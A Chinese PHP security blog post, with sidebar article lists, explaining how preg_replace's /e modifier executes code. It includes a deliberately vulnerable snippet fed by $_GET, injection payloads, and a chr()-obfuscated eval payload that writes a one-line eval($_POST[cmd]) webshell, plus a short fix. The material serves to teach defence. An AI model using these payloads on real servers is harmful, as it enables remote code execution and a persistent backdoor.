慎用preg_replace危险的/e修饰符(一句话后门常用)


Posted in PHP onJune 19, 2013

preg_replace函数原型:

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

特别说明:
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
举例:

<?php 
preg_replace ("/(</?)(w+)([^>]*>)/e", 
"\1.strtoupper(\2).\3", 
$html_body); 
?>

这将使输入字符串中的所有 HTML 标记变成大写。

安全威胁分析:
通常subject参数是由客户端产生的,客户端可能会构造恶意的代码,例如:

<? 
echo preg_replace("/test/e",$_GET["h"],"jutst test"); 
?>

如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。
如果我们提交下面的代码会怎么样呢?
?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).
chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).
chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).
chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
密文对应的明文是:fputs(fopen(data/a.php,w),<?php eval($_POST[cmd])?>);
执行的结果是在/data/目录下生成一个一句话木马文件 a.php。

再来一个有难度的例子:

<? 
function test($str) 
{ 
} 
echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("\1")', $_GET["h"]); 
?>

提交 ?h=[php]phpinfo()[/php],phpinfo()会被执行吗?
肯定不会。因为经过正则匹配后, replacement 参数变为'test("phpinfo")',此时phpinfo仅是被当做一个字符串参数了。
有没有办法让它执行呢?

当然有。在这里我们如果提交?h=[php]{${phpinfo()}}[/php],phpinfo()就会被执行。为什么呢?
在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。
注意:双引号中的函数不会被执行和替换。

在这里我们需要通过{${}}构造出了一个特殊的变量,'test("{${phpinfo()}}")',达到让函数被执行的效果(${phpinfo()}会被解释执行)。
可以先做如下测试:

echo "{${phpinfo()}}";

phpinfo会被成功执行了。

如何防范这种漏洞呢?
将'test("\1")' 修改为"test('\1')",这样‘${phpinfo()}'就会被当做一个普通的字符串处理(单引号中的变量不会被处理)。

PHP 相关文章推荐
PHP中MD5函数使用实例代码
Jun 07 PHP
php 设计模式之 单例模式
Dec 19 PHP
PHP 数组入门教程小结
May 20 PHP
分享8个最佳的代码片段在线测试网站
Jun 29 PHP
php jquery 多文件上传简单实例
Dec 23 PHP
php中利用explode函数分割字符串到数组
Feb 08 PHP
php实现文件下载简单示例(代码实现文件下载)
Mar 10 PHP
php常用字符串处理函数实例分析
Nov 22 PHP
PHP学习笔记(三):数据类型转换与常量介绍
Apr 17 PHP
PHP中使用OpenSSL生成证书及加密解密
Feb 05 PHP
实例讲解php实现多线程
Jan 27 PHP
PHP关于foreach复制知识点总结
Jan 28 PHP
解析二进制流接口应用实例 pack、unpack、ord 函数使用方法
Jun 18 #PHP
深入PHP数据加密详解
Jun 18 #PHP
使用array mutisort 实现按某字段对数据排序
Jun 18 #PHP
php多个字符串替换成同一个的解决方法
Jun 18 #PHP
基于PHP读取csv文件内容的详解
Jun 18 #PHP
解析CodeIgniter自定义配置文件
Jun 18 #PHP
Yii PHP Framework实用入门教程(详细介绍)
Jun 18 #PHP
You might like
php基础知识:函数基础知识
2006/12/13 PHP
smarty的保留变量问题
2008/10/23 PHP
php判断输入不超过mysql的varchar字段的长度范围
2011/06/24 PHP
php mysql_real_escape_string函数用法与实例教程
2013/09/30 PHP
php跨站攻击实例分析
2014/10/28 PHP
PHP动态地创建属性和方法, 对象的复制, 对象的比较,加载指定的文件,自动加载类文件,命名空间
2016/05/06 PHP
Laravel等框架模型关联的可用性浅析
2019/12/15 PHP
PHP设计模式入门之迭代器模式原理与实现方法分析
2020/04/26 PHP
利用ASP发送和接收XML数据的处理方法与代码
2007/11/13 Javascript
JS模仿编辑器实时改变文本框宽度和高度大小的方法
2015/08/17 Javascript
JS获取鼠标坐标位置实例分析
2016/01/20 Javascript
javascript HTML5 canvas实现打砖块游戏
2020/06/18 Javascript
AngularJS ng-mousedown 指令
2016/08/02 Javascript
React-redux实现小案例(todolist)的过程
2019/09/29 Javascript
python命令行参数解析OptionParser类用法实例
2014/10/09 Python
python实现基本进制转换的方法
2015/07/11 Python
Pandas 对Dataframe结构排序的实现方法
2018/04/10 Python
Tensorflow 查看变量的值方法
2018/06/14 Python
详解Django中间件的5种自定义方法
2018/07/26 Python
python命令行参数用法实例分析
2019/06/25 Python
Django app配置多个数据库代码实例
2019/12/17 Python
Python 实现黑客帝国中的字符雨的示例代码
2020/02/20 Python
python脚本第一行如何写
2020/08/30 Python
HTML5 Canvas概述
2009/08/26 HTML / CSS
法律专业自我鉴定
2013/10/03 职场文书
教师实习自我鉴定
2013/12/11 职场文书
求职自荐信
2013/12/14 职场文书
关于是否需要写商业计划书
2014/02/07 职场文书
内刊编辑求职自荐书范文
2014/02/19 职场文书
2014年综治宣传月活动总结
2014/04/28 职场文书
环保倡议书范文
2014/05/12 职场文书
应聘会计求职信
2014/06/11 职场文书
经典团队口号大全
2014/06/21 职场文书
公司客户答谢酒会祝酒词
2015/08/11 职场文书
pandas中DataFrame数据合并连接(merge、join、concat)
2021/05/30 Python
阿里云国际版 使用Nginx作为HTTPS转发代理服务器
2022/05/11 Servers